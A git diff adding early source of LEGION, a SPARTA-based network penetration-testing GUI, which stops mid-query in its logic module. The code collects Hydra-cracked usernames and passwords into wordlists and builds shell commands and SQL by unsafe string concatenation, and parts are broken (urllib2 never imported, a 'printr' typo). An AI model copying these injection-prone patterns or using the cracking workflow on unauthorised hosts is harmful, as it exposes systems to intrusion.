diff --git a/.gitignore b/.gitignore index 894a44cc..a70fcb12 100644 --- a/.gitignore +++ b/.gitignore @@ -102,3 +102,6 @@ venv.bak/ # mypy .mypy_cache/ + +# temps +tmp/ diff --git a/CHANGELOG.txt b/CHANGELOG.txt new file mode 100644 index 00000000..8fb55284 --- /dev/null +++ b/CHANGELOG.txt @@ -0,0 +1,6 @@ +LEGION 0.1.1 + +* Support for WSL (Windows Subsystem for Linux) +* Removed Elixir +* Converted to Python3.5+ +* Process handeling ensures dead processes are shown as crashed or finished diff --git a/README.md b/README.md new file mode 100644 index 00000000..2179c978 --- /dev/null +++ b/README.md @@ -0,0 +1,31 @@ +LEGION 0.1.0 (http://gvit.io) +== + +Authors: +---- +Shane Scott + + +Description +---- + +Based off Sparta by SECFORCE. + +Runs on Ubuntu, and Windows Subsystem for Linux + + +Requirements +---- + +Todo + +Installation +---- + +Todo + + +Credits +---- + +Todo diff --git a/app/__init__.py b/app/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/app/auxiliary.py b/app/auxiliary.py new file mode 100644 index 00000000..2346d3ae --- /dev/null +++ b/app/auxiliary.py @@ -0,0 +1,399 @@ +#!/usr/bin/env python + +''' +SPARTA - Network Infrastructure Penetration Testing Tool (http://sparta.secforce.com) +Copyright (c) 2015 SECFORCE (Antonio Quina and Leonidas Stavliotis) + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along with this program. If not, see . +''' + +import os, sys, urllib, socket, time, datetime, locale, webbrowser, re # for webrequests, screenshot timeouts, timestamps, browser stuff and regex +from PyQt4 import QtGui, QtCore +from PyQt4.QtCore import * # for QProcess +import errno # temporary for isHttpd +import subprocess # for screenshots with cutycapt +import string # for input validation +from six import u as unicode + +# bubble sort algorithm that sorts an array (in place) based on the values in another array +# the values in the array must be comparable and in the corresponding positions +# used to sort objects by one of their attributes. +def sortArrayWithArray(array, arrayToSort): + for i in range(0, len(array) - 1): + swap_test = False + for j in range(0, len(array) - i - 1): + if array[j] > array[j + 1]: + array[j], array[j + 1] = array[j + 1], array[j] # swap + arrayToSort[j], arrayToSort[j + 1] = arrayToSort[j + 1], arrayToSort[j] + swap_test = True + if swap_test == False: + break + +# converts an IP address to an integer (for the sort function) +def IP2Int(ip): + ip = ip.split("/")[0] # bug fix: remove slash if it's a range + o = list(map(int, ip.split('.'))) + res = (16777216 * o[0]) + (65536 * o[1]) + (256 * o[2]) + o[3] + return res + +# old function, replaced by isHttps (checking for https first is better) +def isHttp(url): + try: + req = urllib2.Request(url) + req.add_header('User-Agent', 'Mozilla/5.0 (X11; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0') + r = urllib2.urlopen(req, timeout=10) + #print 'response code: ' + str(r.code) + #print 'response content: ' + str(r.read()) + return True + + except urllib2.HTTPError as e: + reason = str(sys.exc_info()[1].reason) + # print reason + if reason == 'Unauthorized' or reason == 'Forbidden': + return True + return False + + except: + return False + +def isHttps(ip, port): + try: + req = urllib2.Request('https://'+ip+':'+port) + req.add_header('User-Agent', 'Mozilla/5.0 (X11; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0') + r = urllib2.urlopen(req, timeout=5) +# print '\nresponse code: ' + str(r.code) +# print '\nresponse content: ' + str(r.read()) + return True + + except: + reason = str(sys.exc_info()[1].reason) +# print reason +# if 'Interrupted system call' in reason: +# print 'caught exception. retry?' + + if reason == 'Forbidden': + return True + return False + + +def getTimestamp(human=False): + t = time.time() + if human: + #timestamp = datetime.datetime.fromtimestamp(t).strftime("%d %b %Y %H:%M:%S").decode(locale.getlocale()[1]) + timestamp = datetime.datetime.fromtimestamp(t).strftime("%d %b %Y %H:%M:%S") + else: + timestamp = datetime.datetime.fromtimestamp(t).strftime('%Y%m%d%H%M%S') + return timestamp + +# used by the settings dialog when a user cancels and the GUI needs to be reset +def clearLayout(layout): + if layout is not None: + while layout.count(): + item = layout.takeAt(0) + widget = item.widget() + if widget is not None: + widget.deleteLater() + else: + clearLayout(item.layout()) + +# this function sets a table view's properties +def setTableProperties(table, headersLen, hiddenColumnIndexes = []): + + table.verticalHeader().setVisible(False) # hide the row headers + table.setShowGrid(False) # hide the table grid + table.setSelectionBehavior(QtGui.QTableView.SelectRows) # select entire row instead of single cell + table.setSortingEnabled(True) # enable column sorting + table.horizontalHeader().setStretchLastSection(True) # header behaviour + table.horizontalHeader().setSortIndicatorShown(False) # hide sort arrow from column header + table.setWordWrap(False) # row behaviour + table.resizeRowsToContents() + + for i in range(0, headersLen): # reset all the hidden columns + table.setColumnHidden(i, False) + + for i in hiddenColumnIndexes: # hide some columns + table.setColumnHidden(i, True) + + table.setContextMenuPolicy(Qt.CustomContextMenu) # create the right-click context menu + +def checkHydraResults(output): + usernames = [] + passwords = [] + string = '\[[0-9]+\]\[[a-z-]+\].+' # when a password is found, the line contains [port#][plugin-name] + results = re.findall(string, output, re.I) + if results: + for line in results: + login = re.search('(login:[\s]*)([^\s]+)', line) + if login: + print('Found username: ' + login.group(2)) + usernames.append(login.group(2)) + password = re.search('(password:[\s]*)([^\s]+)', line) + if password: + #print 'Found password: ' + password.group(2) + + passwords.append(password.group(2)) + return True, usernames, passwords # returns the lists of found usernames and passwords + return False, [], [] + +def exportNmapToHTML(filename): + try: + command = 'xsltproc -o ' + str(filename)+'.html ' + str(filename)+ '.xml' + p = subprocess.Popen(command, shell=True) + p.wait() + + except: + print('[-] Could not convert nmap XML to HTML. Try: apt-get install xsltproc') + +# this class is used for example to store found usernames/passwords +class Wordlist(): + def __init__(self, filename): # needs full path + self.filename = filename + self.wordlist = [] + with open(filename, 'a+') as f: # open for appending + reading + self.wordlist = f.readlines() + print('[+] Wordlist was created/opened: ' + str(filename)) + + def setFilename(self, filename): + self.filename = filename + + # adds a word to the wordlist (without duplicates) + def add(self, word): + with open(self.filename, 'a') as f: + if not word+'\n' in self.wordlist: + #print('[+] Adding '+word+' to the wordlist..') + self.wordlist.append(word+'\n') + f.write(word+'\n') + +# Custom QProcess class +class MyQProcess(QProcess): + sigHydra = QtCore.pyqtSignal(QObject, list, list, name="hydra") # signal to indicate Hydra found stuff + + def __init__(self, name, tabtitle, hostip, port, protocol, command, starttime, outputfile, textbox): + QProcess.__init__(self) + self.id = -1 + self.name = name + self.tabtitle = tabtitle + self.hostip = hostip + self.port = port + self.protocol = protocol + self.command = command + self.starttime = starttime + self.outputfile = outputfile + self.display = textbox # has its own display widget to be able to display its output in the GUI + + @pyqtSlot() # this slot allows the process to append its output to the display widget + def readStdOutput(self): + output = str(self.readAllStandardOutput()) + #output = QString(self.readAllStandardOutput()) + #self.display.appendPlainText(unicode(output, 'utf-8').strip()) + self.display.appendPlainText(unicode(output).strip()) + + if self.name == 'hydra': # check if any usernames/passwords were found (if so emit a signal so that the gui can tell the user about it) + found, userlist, passlist = checkHydraResults(output) + if found: # send the brutewidget object along with lists of found usernames/passwords + self.sigHydra.emit(self.display.parentWidget(), userlist, passlist) + + stderror = str(self.readAllStandardError()) + #stderror = QString(self.readAllStandardError()) + + if len(stderror) > 0: + #self.display.appendPlainText(unicode(stderror, 'utf-8').strip()) # append standard error too + self.display.appendPlainText(unicode(stderror).strip()) # append standard error too + +# browser opener class with queue and semaphores +class BrowserOpener(QtCore.QThread): + done = QtCore.pyqtSignal(name="done") # signals that we are done opening urls in browser + + def __init__(self): + QtCore.QThread.__init__(self, parent=None) + self.urls = [] + self.processing = False + + def addToQueue(self, url): + self.urls.append(url) + + def run(self): + while self.processing == True: + self.sleep(1) # effectively a semaphore + + self.processing = True + for i in range(0, len(self.urls)): + try: + url = self.urls.pop(0) + printr('[+] Opening url in browser: ' + url) + if isHttps(url.split(':')[0],url.split(':')[1]): + webbrowser.open_new_tab('https://' + url) + else: + webbrowser.open_new_tab('http://' + url) + if i == 0: + self.sleep(3) # fixes bug in Kali. have to sleep on first url so the next ones don't open a new browser instead of adding a new tab + else: + self.sleep(1) # fixes bug when several calls to urllib occur too fast (interrupted system call) + + except: + print('\t[-] Problem while opening url in browser. Moving on..') + continue + + self.processing = False + if not len(self.urls) == 0: # if meanwhile urls were added to the queue, start over + self.run() + else: + self.done.emit() + +class Screenshooter(QtCore.QThread): + done = QtCore.pyqtSignal(str, str, str, name="done") # signal sent after each individual screenshot is taken + + def __init__(self, timeout): + QtCore.QThread.__init__(self, parent=None) + self.urls = [] + self.processing = False + self.timeout = timeout # screenshooter timeout (ms) + + def addToQueue(self, url): + self.urls.append(url) + + # this function should be called when the project is saved/saved as as the tool-output folder changes + def updateOutputFolder(self, screenshotsFolder): + self.outputfolder = screenshotsFolder + + def run(self): + + while self.processing == True: + self.sleep(1) # effectively a semaphore + + self.processing = True + + for i in range(0, len(self.urls)): + try: + url = self.urls.pop(0) + outputfile = getTimestamp()+'-screenshot-'+url.replace(':', '-')+'.png' + ip = url.split(':')[0] + port = url.split(':')[1] +# print '[+] Taking screenshot of '+url + # add to db + + if isHttps(ip,port): + self.save("https://"+url, ip, port, outputfile) + else: + self.save("http://"+url, ip, port, outputfile) + + except: + print('\t[-] Unable to take the screenshot. Moving on..') + continue + + self.processing = False + + if not len(self.urls) == 0: # if meanwhile urls were added to the queue, start over unless we are in pause mode + self.run() + + print('\t[+] Finished.') + + def save(self, url, ip, port, outputfile): + print('[+] Saving screenshot as: '+str(outputfile)) + command = "cutycapt --max-wait="+str(self.timeout)+" --url="+str(url)+"/ --out=\""+str(self.outputfolder)+"/"+str(outputfile)+"\"" +# print command + p = subprocess.Popen(command, shell=True) + p.wait() # wait for command to finish + self.done.emit(ip,port,outputfile) # send a signal to add the 'process' to the DB + +# This class handles what is to be shown in each panel +class Filters(): + def __init__(self): + # host filters + self.checked = True + self.up = True + self.down = False + # port/service filters + self.tcp = True + self.udp = True + self.portopen = True + self.portclosed = False + self.portfiltered = False + self.keywords = [] + + def apply(self, up, down, checked, portopen, portfiltered, portclosed, tcp, udp, keywords = []): + self.checked = checked + self.up = up + self.down = down + self.tcp = tcp + self.udp = udp + self.portopen = portopen + self.portclosed = portclosed + self.portfiltered = portfiltered + self.keywords = keywords + + def setKeywords(self, keywords): + print(str(keywords)) + self.keywords = keywords + + def getFilters(self): + return [self.up, self.down, self.checked, self.portopen, self.portfiltered, self.portclosed, self.tcp, self.udp, self.keywords] + + def display(self): + print('Filters are:') + print('Show checked hosts: ' + str(self.checked)) + print('Show up hosts: ' + str(self.up)) + print('Show down hosts: ' + str(self.down)) + print('Show tcp: ' + str(self.tcp)) + print('Show udp: ' + str(self.udp)) + print('Show open ports: ' + str(self.portopen)) + print('Show closed ports: ' + str(self.portclosed)) + print('Show filtered ports: ' + str(self.portfiltered)) + print('Keyword search:') + for w in self.keywords: + print(w) + + +### VALIDATION FUNCTIONS ### +# TODO: should probably be moved to a new file called validation.py + +def sanitise(string): # this function makes a string safe for use in sql query. the main point is to prevent sparta from breaking, not so much SQLi as such. + s = string.replace('\'', '\'\'') + return s + +def validateNmapInput(text): # validate nmap input entered in Add Hosts dialog + if re.search('[^a-zA-Z0-9\.\/\-\s]', text) is not None: + return False + return True + +def validateCredentials(text): + return True + +def validateCommandFormat(text): # used by settings dialog to validate commands + if text is not '' and text is not ' ': + return True + return False + +def validateNumeric(text): # only allows numbers + if text.isdigit(): + return True + return False + +def validateString(text): # only allows alphanumeric characters, '_' and '-' + if text is not '' and re.search("[^A-Za-z0-9_-]+", text) is None: + return True + return False + +def validateStringWithSpace(text): # only allows alphanumeric characters, '_', '-' and space + if text is not '' and re.search("[^A-Za-z0-9_() -]+", text) is None: + return True + return False + +def validateNmapPorts(text): # only allows alphanumeric characters and the following: ./-'"*,:[any kind of space] + if re.search('[^a-zA-Z0-9\.\/\-\'\"\*\,\:\s]', text) is not None: + return False + return True + +def validatePath(text): # only allows valid paths which exist in the OS + if os.path.isdir(text): + return True + return False + +def validateFile(text): # only allows valid files which exist in the OS + if os.path.isfile(text): + return True + return False diff --git a/app/hostmodels.py b/app/hostmodels.py new file mode 100644 index 00000000..a8868690 --- /dev/null +++ b/app/hostmodels.py @@ -0,0 +1,180 @@ +#!/usr/bin/env python + +''' +SPARTA - Network Infrastructure Penetration Testing Tool (http://sparta.secforce.com) +Copyright (c) 2014 SECFORCE (Antonio Quina and Leonidas Stavliotis) + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along with this program. If not, see . +''' + +import re +from PyQt4 import QtGui, QtCore +from PyQt4.QtGui import * # for QFont +from app.auxiliary import * # for bubble sort + +class HostsTableModel(QtCore.QAbstractTableModel): + + def __init__(self, hosts = [[]], headers = [], parent = None): + QtCore.QAbstractTableModel.__init__(self, parent) + self.__headers = headers + self.__hosts = hosts + + def setHosts(self, hosts): + self.__hosts = hosts + + def rowCount(self, parent): + return len(self.__hosts) + + def columnCount(self, parent): + if not len(self.__hosts) is 0: + return len(self.__hosts[0]) + return 0 + + def headerData(self, section, orientation, role): + if role == QtCore.Qt.DisplayRole: + if orientation == QtCore.Qt.Horizontal: + if section < len(self.__headers): + return self.__headers[section] + else: + return "not implemented" + + def data(self, index, role): # this method takes care of how the information is displayed + if role == QtCore.Qt.DecorationRole: # to show the operating system icon instead of text + if index.column() == 1: # if trying to display the operating system + os_string = self.__hosts[index.row()]['os_match'] + if os_string == '': # if there is no OS information, use the question mark icon + return QtGui.QIcon("./images/question-icon.png") + + elif re.search('[lL]inux', os_string, re.I): + return QtGui.QIcon("./images/linux-icon.png") + + elif re.search('[wW]indows', os_string, re.I): + return QtGui.QIcon("./images/windows-icon.png") + + elif re.search('[cC]isco', os_string, re.I): + return QtGui.QIcon("./images/cisco-big.jpg") + + elif re.search('HP ', os_string, re.I): + return QtGui.QIcon("./images/hp-icon.png") + + elif re.search('[vV]x[wW]orks', os_string, re.I): + return QtGui.QIcon("./images/hp-icon.png") + + elif re.search('[vV]m[wW]are', os_string, re.I): + return QtGui.QIcon("./images/vmware-big.jpg") + + else: # if it's an unknown OS also use the question mark icon + return QtGui.QIcon("./images/question-icon.png") + + if role == QtCore.Qt.DisplayRole: # how to display each cell + value = '' + row = index.row() + column = index.column() + if column == 0: + value = self.__hosts[row]['id'] + elif column == 2: + value = self.__hosts[row]['os_accuracy'] + elif column == 3: + if not self.__hosts[row]['hostname'] == '': + value = self.__hosts[row]['ip'] + ' ('+ self.__hosts[row]['hostname'] +')' + else: + value = self.__hosts[row]['ip'] + elif column == 4: + value = self.__hosts[row]['ipv4'] + elif column == 5: + value = self.__hosts[row]['ipv6'] + elif column == 6: + value = self.__hosts[row]['macaddr'] + elif column == 7: + value = self.__hosts[row]['status'] + elif column == 8: + value = self.__hosts[row]['hostname'] + elif column == 9: + value = self.__hosts[row]['vendor'] + elif column == 10: + value = self.__hosts[row]['uptime'] + elif column == 11: + value = self.__hosts[row]['lastboot'] + elif column == 12: + value = self.__hosts[row]['distance'] + return value + + if role == QtCore.Qt.FontRole: + # if a host is checked strike it out and make it italic + if index.column() == 3 and self.__hosts[index.row()]['checked'] == 'True': + checkedFont=QFont() + checkedFont.setStrikeOut(True) + checkedFont.setItalic(True) + return checkedFont + + def flags(self, index): # method that allows views to know how to treat each item, eg: if it should be enabled, editable, selectable etc + return QtCore.Qt.ItemIsEnabled | QtCore.Qt.ItemIsSelectable # add QtCore.Qt.ItemIsEditable to edit item + + def sort(self, Ncol, order): # sort function called when the user clicks on a header + + self.emit(SIGNAL("layoutAboutToBeChanged()")) + array = [] + + if Ncol == 0 or Ncol == 3: # if sorting by IP address (and by default) + for i in range(len(self.__hosts)): + array.append(IP2Int(self.__hosts[i]['ip'])) + + elif Ncol == 1: # if sorting by OS + for i in range(len(self.__hosts)): + + os_string = self.__hosts[i]['os_match'] + if os_string == '': + array.append('') + + elif re.search('[lL]inux', os_string, re.I): + array.append('Linux') + + elif re.search('[wW]indows', os_string, re.I): + array.append('Windows') + + elif re.search('[cC]isco', os_string, re.I): + array.append('Cisco') + + elif re.search('HP ', os_string, re.I): + array.append('Hp') + + elif re.search('[vV]x[wW]orks', os_string, re.I): + array.append('Hp') + + elif re.search('[vV]m[wW]are', os_string, re.I): + array.append('Vmware') + + else: + array.append('') + + sortArrayWithArray(array, self.__hosts) # sort the array of OS + + if order == Qt.AscendingOrder: # reverse if needed + self.__hosts.reverse() + + self.emit(SIGNAL("layoutChanged()")) # update the UI (built-in signal) + + ### getter functions ### + + def getHostIPForRow(self, row): + return self.__hosts[row]['ip'] + + def getHostIdForRow(self, row): + return self.__hosts[row]['id'] + + def getHostCheckStatusForRow(self, row): + return self.__hosts[row]['checked'] + + def getHostCheckStatusForIp(self, ip): + for i in range(len(self.__hosts)): + if str(self.__hosts[i]['ip']) == str(ip): + return self.__hosts[i]['checked'] + + def getRowForIp(self, ip): + for i in range(len(self.__hosts)): + if self.__hosts[i]['ip'] == ip: + return i diff --git a/app/logic.py b/app/logic.py new file mode 100644 index 00000000..bcaaeed1 --- /dev/null +++ b/app/logic.py @@ -0,0 +1,766 @@ +#!/usr/bin/env python + +''' +SPARTA - Network Infrastructure Penetration Testing Tool (http://sparta.secforce.com) +Copyright (c) 2015 SECFORCE (Antonio Quina and Leonidas Stavliotis) + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along with this program. If not, see . +''' + +import os, tempfile, ntpath, shutil # for creation of temp files and file operations +import logging # test +import subprocess # for CWD +from parsers.Parser import * +from db.database import * +from app.auxiliary import * +from six import u as unicode + +class Logic(): + def __init__(self): + self.cwd = str(subprocess.check_output("echo $PWD", shell=True)[:-1].decode())+'/' + self.createTemporaryFiles() # creates temporary files/folders used by SPARTA + + def createTemporaryFiles(self): + try: + print('[+] Creating temporary files..') + + self.istemp = False # indicates that file is temporary and can be deleted if user exits without saving + print(self.cwd) + tf = tempfile.NamedTemporaryFile(suffix=".sprt",prefix="sparta-", delete=False, dir="./tmp/") # to store the database file + self.outputfolder = tempfile.mkdtemp(suffix="-tool-output",prefix="sparta-", dir="./tmp/") # to store tool output of finished processes + self.runningfolder = tempfile.mkdtemp(suffix="-running",prefix="sparta-", dir="./tmp/") # to store tool output of running processes + os.makedirs(self.outputfolder+'/screenshots') # to store screenshots + os.makedirs(self.runningfolder+'/nmap') # to store nmap output + os.makedirs(self.runningfolder+'/hydra') # to store hydra output + self.usernamesWordlist = Wordlist(self.outputfolder + '/sparta-usernames.txt') # to store found usernames + self.passwordsWordlist = Wordlist(self.outputfolder + '/sparta-passwords.txt') # to store found passwords + self.projectname = tf.name + print(tf.name) + self.db = Database(self.projectname) + + except: + print('\t[-] Something went wrong creating the temporary files..') + print("[-] Unexpected error:", sys.exc_info()) + + def removeTemporaryFiles(self): + print('[+] Removing temporary files and folders..') + try: + if not self.istemp: # if current project is not temporary + if not self.storeWordlists: # delete wordlists if necessary + print('[+] Removing wordlist files.') + os.remove(self.usernamesWordlist.filename) + os.remove(self.passwordsWordlist.filename) + + else: + os.remove(self.projectname) + shutil.rmtree(self.outputfolder) + + shutil.rmtree(self.runningfolder) + + except: + print('\t[-] Something went wrong removing temporary files and folders..') + print("[-] Unexpected error:", sys.exc_info()[0]) + + def createFolderForTool(self, tool): + if 'nmap' in tool: + tool = 'nmap' + path = self.runningfolder+'/'+re.sub("[^0-9a-zA-Z]", "", str(tool)) + if not os.path.exists(path): + os.makedirs(path) + + # this flag is matched to the conf file setting, so that we know if we need to delete the found usernames/passwords wordlists on exit + def setStoreWordlistsOnExit(self, flag=True): + self.storeWordlists = flag + + # this function moves the specified tool output file from the temporary 'running' folder to the 'tool output' folder + def moveToolOutput(self, outputFilename): + try: + # first create the tool folder if it doesn't already exist + tool = ntpath.basename(ntpath.dirname(str(outputFilename))) + path = self.outputfolder+'/'+str(tool) + if not os.path.exists(str(path)): + os.makedirs(str(path)) + + # check if the outputFilename exists, if not try .xml and .txt extensions (different tools use different formats) + if os.path.exists(str(outputFilename)) and os.path.isfile(str(outputFilename)): + shutil.move(str(outputFilename), str(path)) + # move all the nmap files (not only the .xml) + elif os.path.exists(str(outputFilename)+'.xml') and os.path.exists(str(outputFilename)+'.nmap') and os.path.exists(str(outputFilename)+'.gnmap') and os.path.isfile(str(outputFilename)+'.xml') and os.path.isfile(str(outputFilename)+'.nmap') and os.path.isfile(str(outputFilename)+'.gnmap'): + try: + exportNmapToHTML(str(outputFilename)) + shutil.move(str(outputFilename)+'.html', str(path)) + except: + pass + + shutil.move(str(outputFilename)+'.xml', str(path)) + shutil.move(str(outputFilename)+'.nmap', str(path)) + shutil.move(str(outputFilename)+'.gnmap', str(path)) + elif os.path.exists(str(outputFilename)+'.xml') and os.path.isfile(str(outputFilename)+'.xml'): + shutil.move(str(outputFilename)+'.xml', str(path)) + elif os.path.exists(str(outputFilename)+'.txt') and os.path.isfile(str(outputFilename)+'.txt'): + shutil.move(str(outputFilename)+'.txt', str(path)) + except: + print('[-] Something went wrong moving the tool output file..') + print("[-] Unexpected error:", sys.exc_info()[0]) + + def copyNmapXMLToOutputFolder(self, file): + try: + path = self.outputfolder+"/nmap" + filename = ntpath.basename(str(file)) + if not os.path.exists(str(path)): + os.makedirs(str(path)) + + shutil.copy(str(file), str(path)) # will overwrite if file already exists + except: + print('[-] Something went wrong copying the imported XML to the project folder.') + print("[-] Unexpected error:", sys.exc_info()[0]) + + def openExistingProject(self, filename): + try: + print('[+] Opening project..') + self.istemp = False # indicate the file is NOT temporary and should NOT be deleted later + + self.projectname = str(filename) # set the new projectname and outputfolder vars + if not str(filename).endswith('.sprt'): + self.outputfolder = str(filename)+'-tool-output' # use the same name as the file for the folder (without the extension) + else: + self.outputfolder = str(filename)[:-5]+'-tool-output' + + self.usernamesWordlist = Wordlist(self.outputfolder + '/sparta-usernames.txt') # to store found usernames + self.passwordsWordlist = Wordlist(self.outputfolder + '/sparta-passwords.txt') # to store found passwords + + self.runningfolder = tempfile.mkdtemp(suffix="-running",prefix="sparta-") # to store tool output of running processes + self.db = Database(self.projectname) # use the new db + self.cwd = ntpath.dirname(str(self.projectname))+'/' # update cwd so it appears nicely in the window title + + except: + print('\t[-] Something went wrong while opening the project..') + print("[-] Unexpected error:", sys.exc_info()[0]) + + # this function copies the current project files and folder to a new location + # if the replace flag is set to 1, it overwrites the destination file and folder + def saveProjectAs(self, filename, replace=0): + try: + # the folder name must be : filename-tool-output (without the .sprt extension) + if not str(filename).endswith('.sprt'): + foldername = str(filename)+'-tool-output' + filename = str(filename) + '.sprt' + else: + foldername = filename[:-5]+'-tool-output' + + # check if filename already exists (skip the check if we want to replace the file) + if replace == 0 and os.path.exists(str(filename)) and os.path.isfile(str(filename)): + return False + + shutil.copyfile(self.projectname, str(filename)) + os.system('cp -r "'+self.outputfolder+'/." "'+str(foldername)+'"') + + if self.istemp: # we can remove the temp file/folder if it was temporary + print('[+] Removing temporary files and folders..') + os.remove(self.projectname) + shutil.rmtree(self.outputfolder) + + self.db.openDB(str(filename)) # inform the DB to use the new file + self.cwd = ntpath.dirname(str(filename))+'/' # update cwd so it appears nicely in the window title + self.projectname = str(filename) + self.outputfolder = str(foldername) + + self.usernamesWordlist = Wordlist(self.outputfolder + '/sparta-usernames.txt') # to store found usernames + self.passwordsWordlist = Wordlist(self.outputfolder + '/sparta-passwords.txt') # to store found passwords + + self.istemp = False # indicate that file is NOT temporary anymore and should NOT be deleted later + return True + + except: + print('\t[-] Something went wrong while saving the project..') + print("\t[-] Unexpected error:", sys.exc_info()[0]) + return False + + def isHostInDB(self, host): # used we don't run tools on hosts out of scope + tmp_query = 'SELECT host.ip FROM nmap_host AS host WHERE host.ip == ? OR host.hostname == ?' + result = self.db.metadata.bind.execute(tmp_query, str(host), str(host)).fetchall() + if result: + return True + return False + + def getHostsFromDB(self, filters): + tmp_query = 'SELECT * FROM nmap_host AS hosts WHERE 1=1' + + if filters.down == False: + tmp_query += ' AND hosts.status!=\'down\'' + if filters.up == False: + tmp_query += ' AND hosts.status!=\'up\'' + if filters.checked == False: + tmp_query += ' AND hosts.checked!=\'True\'' + for word in filters.keywords: + tmp_query += ' AND (hosts.ip LIKE \'%'+sanitise(word)+'%\' OR hosts.os_match LIKE \'%'+sanitise(word)+'%\' OR hosts.hostname LIKE \'%'+sanitise(word)+'%\')' + + return self.db.metadata.bind.execute(tmp_query).fetchall() + + # get distinct service names from DB + def getServiceNamesFromDB(self, filters): + tmp_query = ('SELECT DISTINCT service.name FROM nmap_service as service ' + + 'INNER JOIN nmap_port as ports ' + + 'INNER JOIN nmap_host AS hosts ' + + 'ON hosts.id = ports.host_id AND service.id=ports.service_id WHERE 1=1') + + if filters.down == False: + tmp_query += ' AND hosts.status!=\'down\'' + if filters.up == False: + tmp_query += ' AND hosts.status!=\'up\'' + if filters.checked == False: + tmp_query += ' AND hosts.checked!=\'True\'' + for word in filters.keywords: + tmp_query += ' AND (hosts.ip LIKE \'%'+sanitise(word)+'%\' OR hosts.os_match LIKE \'%'+sanitise(word)+'%\' OR hosts.hostname LIKE \'%'+sanitise(word)+'%\')' + if filters.portopen == False: + tmp_query += ' AND ports.state!=\'open\' AND ports.state!=\'open|filtered\'' + if filters.portclosed == False: + tmp_query += ' AND ports.state!=\'closed\'' + if filters.portfiltered == False: + tmp_query += ' AND ports.state!=\'filtered\' AND ports.state!=\'open|filtered\'' + if filters.tcp == False: + tmp_query += ' AND ports.protocol!=\'tcp\'' + if filters.udp == False: + tmp_query += ' AND ports.protocol!=\'udp\'' + + tmp_query += ' ORDER BY service.name ASC' + + return self.db.metadata.bind.execute(tmp_query).fetchall() + + # get notes for given host IP + def getNoteFromDB(self, hostId): + session = self.db.session() + return session.query(note).filter_by(host_id=str(hostId)).first() + #return note.query.filter_by(host_id=str(hostId)).first() + + # get script info for given host IP + def getScriptsFromDB(self, hostIP): + tmp_query = ('SELECT host.id,host.script_id,port.port_id,port.protocol FROM nmap_script AS host ' + + 'INNER JOIN nmap_host AS hosts ON hosts.id = host.host_id ' + + 'LEFT OUTER JOIN nmap_port AS port ON port.id=host.port_id ' + + 'WHERE hosts.ip=?') + + return self.db.metadata.bind.execute(tmp_query, str(hostIP)).fetchall() + + def getScriptOutputFromDB(self, scriptDBId): + tmp_query = ('SELECT script.output FROM nmap_script as script WHERE script.id=?') + return self.db.metadata.bind.execute(tmp_query, str(scriptDBId)).fetchall() + + # get port and service info for given host IP + def getPortsAndServicesForHostFromDB(self, hostIP, filters): + tmp_query = ('SELECT hosts.ip,ports.port_id,ports.protocol,ports.state,ports.host_id,ports.service_id,services.name,services.product,services.version,services.extrainfo,services.fingerprint FROM nmap_port AS ports ' + + 'INNER JOIN nmap_host AS hosts ON hosts.id = ports.host_id ' + + 'LEFT OUTER JOIN nmap_service AS services ON services.id=ports.service_id ' + + 'WHERE hosts.ip=?') + + if filters.portopen == False: + tmp_query += ' AND ports.state!=\'open\' AND ports.state!=\'open|filtered\'' + if filters.portclosed == False: + tmp_query += ' AND ports.state!=\'closed\'' + if filters.portfiltered == False: + tmp_query += ' AND ports.state!=\'filtered\' AND ports.state!=\'open|filtered\'' + if filters.tcp == False: + tmp_query += ' AND ports.protocol!=\'tcp\'' + if filters.udp == False: + tmp_query += ' AND ports.protocol!=\'udp\'' + + return self.db.metadata.bind.execute(tmp_query, str(hostIP)).fetchall() + + # used to check if there are any ports of a specific protocol for a given host + def getPortsForHostFromDB(self, hostIP, protocol): + tmp_query = ('SELECT ports.port_id FROM nmap_port AS ports ' + + 'INNER JOIN nmap_host AS hosts ON hosts.id = ports.host_id ' + + 'WHERE hosts.ip=? and ports.protocol=?') + + return self.db.metadata.bind.execute(tmp_query, str(hostIP), str(protocol)).first() + + # used to get the service name given a host ip and a port when we are in tools tab (left) and right click on a host + def getServiceNameForHostAndPort(self, hostIP, port): + tmp_query = ('SELECT services.name FROM nmap_service AS services ' + + 'INNER JOIN nmap_host AS hosts ON hosts.id = ports.host_id ' + + 'INNER JOIN nmap_port AS ports ON services.id=ports.service_id ' + + 'WHERE hosts.ip=? and ports.port_id=?') + + return self.db.metadata.bind.execute(tmp_query, str(hostIP), str(port)).first() + + # used to delete all port/script data related to a host - to overwrite portscan info with the latest scan + def deleteAllPortsAndScriptsForHostFromDB(self, hostID, protocol): + session = self.db.session() + ports_for_host = session.query(nmap_port).filter_by(nmap_port.host_id == hostID, nmap_port.protocol == str(protocol)).all() + #ports_for_host = nmap_port.query.filter(nmap_port.host_id == hostID, nmap_port.protocol == str(protocol)).all() + + for p in ports_for_host: + scripts_for_ports = session.query(nmap_script).filter(nmap_script.port_id == p.id).all() + #scripts_for_ports = nmap_script.query.filter(nmap_script.port_id == p.id).all() + for s in scripts_for_ports: + session.delete(s) + #s.delete() + + for p in ports_for_host: + session.delete(p) + #p.delete() + + #self.db.commit() + session.commit() + + def getHostInformation(self, hostIP): + session = self.db.session() + return session.query(nmap_host).filter_by(ip=str(hostIP)).first() + #return nmap_host.query.filter_by(ip=str(hostIP)).first() + + def getPortStatesForHost(self,hostID): + tmp_query = ('SELECT port.state 